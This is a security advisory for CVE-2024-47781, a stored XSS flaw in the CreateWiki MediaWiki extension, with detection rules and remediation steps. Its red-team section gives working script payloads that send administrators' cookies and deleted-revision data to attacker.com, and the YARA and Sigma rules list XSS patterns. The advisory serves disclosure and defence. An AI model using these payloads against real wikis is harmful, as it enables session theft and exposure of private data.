CVE-2024-47781

Executive Summary

CVE-2024-47781 is a stored Cross-Site Scripting (XSS) vulnerability in the CreateWiki extension used by Miraheze. The vulnerability exists in the Special:RequestWikiQueue page, where the name of requested wikis is not properly escaped before being displayed. An attacker can inject arbitrary HTML/JavaScript into a wiki request name, which will then be executed in the browser of any wiki creator or administrator who views the request queue. This can lead to the theft of sensitive session data, including access to deleted wiki requests that may contain private information. The vulnerability is patched in commit 693a220. Users unable to upgrade should disable JavaScript or restrict access to the vulnerable page.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code issue in the CreateWiki extension for MediaWiki. The extension is typically deployed as part of a Miraheze instance or a custom MediaWiki setup.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated user can submit a wiki request with a malicious name.
• User Interaction (UI): Required (R) – A wiki creator or administrator must view the request queue.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Successful exploitation can lead to the disclosure of sensitive data (deleted wiki requests).
• Integrity (I): Low (L) – The attacker can modify the page content via XSS but not directly alter server-side data.
• Availability (A): None (N) – No impact on availability.

Base Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Special:RequestWikiQueue page. When a user requests a new wiki, they provide a name for the wiki. This name is stored in the database without proper sanitization. When a wiki creator or administrator views the request queue, the name is retrieved and displayed on the page without being HTML-escaped. An attacker can craft a wiki request name containing malicious JavaScript, such as:

<script>alert('XSS')</script>

When the administrator views the queue, the script executes in their browser. The attacker can then use this to:

1. Steal session cookies: document.cookie can be exfiltrated to an attacker-controlled server.
2. Perform actions on behalf of the victim: Using the victim's session, the attacker can make API calls to retrieve deleted wiki requests, which often contain private information (e.g., email addresses, IP addresses, personal details).
3. Deface the page: Modify the content of the page to display misleading information.

The core issue is the lack of output encoding. The fix (commit 693a220) likely involves applying htmlspecialchars() or similar escaping to the wiki name before rendering it in the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In SpecialRequestWikiQueue.php
$name = $request->getName(); // No sanitization
echo "<tr><td>$name</td></tr>"; // Direct output

Patched Code (Conceptual):

// In SpecialRequestWikiQueue.php
$name = htmlspecialchars($request->getName(), ENT_QUOTES, 'UTF-8');
echo "<tr><td>$name</td></tr>"; // Escaped output

The patched version ensures that any HTML tags in the wiki name are converted to their entity equivalents (e.g., < becomes <), preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Access to a Miraheze instance (or any MediaWiki with CreateWiki extension) that allows unauthenticated wiki requests.
• A listener to capture exfiltrated data (e.g., a webhook or a simple HTTP server).

Steps:

1. Craft the payload: Create a wiki request with a name containing malicious JavaScript. For example:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Submit the request: Use the wiki request form to submit the malicious name.
3. Wait for a victim: A wiki creator or administrator will view the request queue.
4. Capture data: The victim's browser executes the script, sending their cookies to your server.

Example Payload (Steal Cookies):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie), true);
xhr.send();
</script>

Example Payload (Retrieve Deleted Requests):

<script>
// Assuming the victim has admin rights, use their session to fetch deleted requests
fetch('/w/api.php?action=query&list=deletedrevs&format=json')
  .then(response => response.text())
  .then(data => {
    fetch('https://attacker.com/exfil?data=' + encodeURIComponent(data));
  });
</script>

Blue Team (Defender)

Detection:

• Monitor for unusual wiki request names containing <script>, <img>, <iframe>, or other HTML tags.
• Use a Web Application Firewall (WAF) to block requests with suspicious patterns in the wiki name field.
• Enable Content Security Policy (CSP) headers to mitigate the impact of XSS.

Prevention:

• Apply the patch (commit 693a220) immediately.
• If patching is not possible, disable JavaScript for the Special:RequestWikiQueue page or restrict access to trusted users only.
• Implement input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown domains from the MediaWiki server.
  • Requests containing document.cookie or fetch in the query string.
• Host:
  • Unusual entries in the wiki_request table with names containing HTML/JavaScript.
  • Modified Special:RequestWikiQueue page content.
• Logs:
  • Access logs showing requests to /w/api.php?action=query&list=deletedrevs from non-admin IPs.
  • Error logs showing JavaScript execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_47781_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-47781 in wiki request names"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47781"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror\s*=/i
        $xss3 = /<iframe[^>]*src\s*=/i
        $xss4 = /onload\s*=/i
        $xss5 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47781 - Stored XSS in CreateWiki Extension
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in wiki request names
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47781
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'Special:RequestWikiQueue'
        cs-request|contains:
            - '<script'
            - '<img'
            - '<iframe'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in wiki names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47781 - Stored XSS Payload in Wiki Request"; flow:to_server,established; content:"POST"; http_method; content:"Special:RequestWikiQueue"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Update the CreateWiki extension to the latest version that includes commit 693a220.
2. Disable JavaScript: If patching is not possible, instruct users to disable JavaScript when accessing Special:RequestWikiQueue.
3. Restrict access: Limit access to the Special:RequestWikiQueue page to trusted administrators only.

Long-term Measures:

• Implement a Content Security Policy (CSP) that restricts script execution.
• Conduct regular security audits of all MediaWiki extensions.
• Use a Web Application Firewall (WAF) to filter malicious input.
• Educate users about the risks of clicking on suspicious links or viewing untrusted content.

Workaround:

• Add the following to LocalSettings.php to block access to the vulnerable page for non-admins:

  if ( !$wgUser->isAllowed( 'createwiki' ) ) {
      $wgSpecialPages['RequestWikiQueue'] = false;
  }
  

Valters IT
Securing Digital Frontiers